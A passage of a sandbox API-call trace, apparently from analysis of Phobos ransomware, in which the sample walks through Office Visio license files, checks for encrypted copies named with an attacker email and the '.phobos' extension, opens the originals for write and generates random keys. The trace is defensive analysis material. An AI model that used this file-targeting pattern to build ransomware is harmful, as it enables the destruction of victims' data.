"c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ppd.xrm-ms")) returned 0x220 [0153.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.797] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.797] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11590) returned 1 [0153.798] CloseHandle (hObject=0x528) returned 1 [0153.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-oob.xrm-ms")) returned 0x220 [0153.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.798] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.799] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19935) returned 1 [0153.799] CloseHandle (hObject=0x528) returned 1 [0153.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-phn.xrm-ms")) returned 0x220 [0153.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.800] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.800] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11151) returned 1 [0153.801] CloseHandle (hObject=0x528) returned 1 [0153.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-pl.xrm-ms")) returned 0x220 [0153.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.801] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.802] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20977) returned 1 [0153.802] CloseHandle (hObject=0x528) returned 1 [0153.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ppd.xrm-ms")) returned 0x220 [0153.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.802] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.803] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11598) returned 1 [0153.803] CloseHandle (hObject=0x528) returned 1 [0153.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ul-oob.xrm-ms")) returned 0x220 [0153.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.804] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.805] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6870) returned 1 [0153.805] CloseHandle (hObject=0x528) returned 1 [0153.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.805] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.806] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0153.806] CloseHandle (hObject=0x528) returned 1 [0153.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.807] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.808] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9616) returned 1 [0153.808] CloseHandle (hObject=0x528) returned 1 [0153.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul.xrm-ms")) returned 0x220 [0153.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.808] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.809] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10631) returned 1 [0153.809] CloseHandle (hObject=0x528) returned 1 [0153.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-pl.xrm-ms")) returned 0x220 [0153.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.810] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.975] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6805) returned 1 [0153.975] CloseHandle (hObject=0x528) returned 1 [0153.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ppd.xrm-ms")) returned 0x220 [0153.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.977] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.978] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20782) returned 1 [0153.978] CloseHandle (hObject=0x528) returned 1 [0153.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.978] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.979] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11594) returned 1 [0153.979] CloseHandle (hObject=0x528) returned 1 [0153.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.979] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.979] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19939) returned 1 [0153.979] CloseHandle (hObject=0x528) returned 1 [0153.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.980] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.980] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0153.980] CloseHandle (hObject=0x528) returned 1 [0153.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-pl.xrm-ms")) returned 0x220 [0153.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.981] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.981] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20780) returned 1 [0153.981] CloseHandle (hObject=0x528) returned 1 [0153.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ppd.xrm-ms")) returned 0x220 [0153.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.982] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.982] CreateFileW 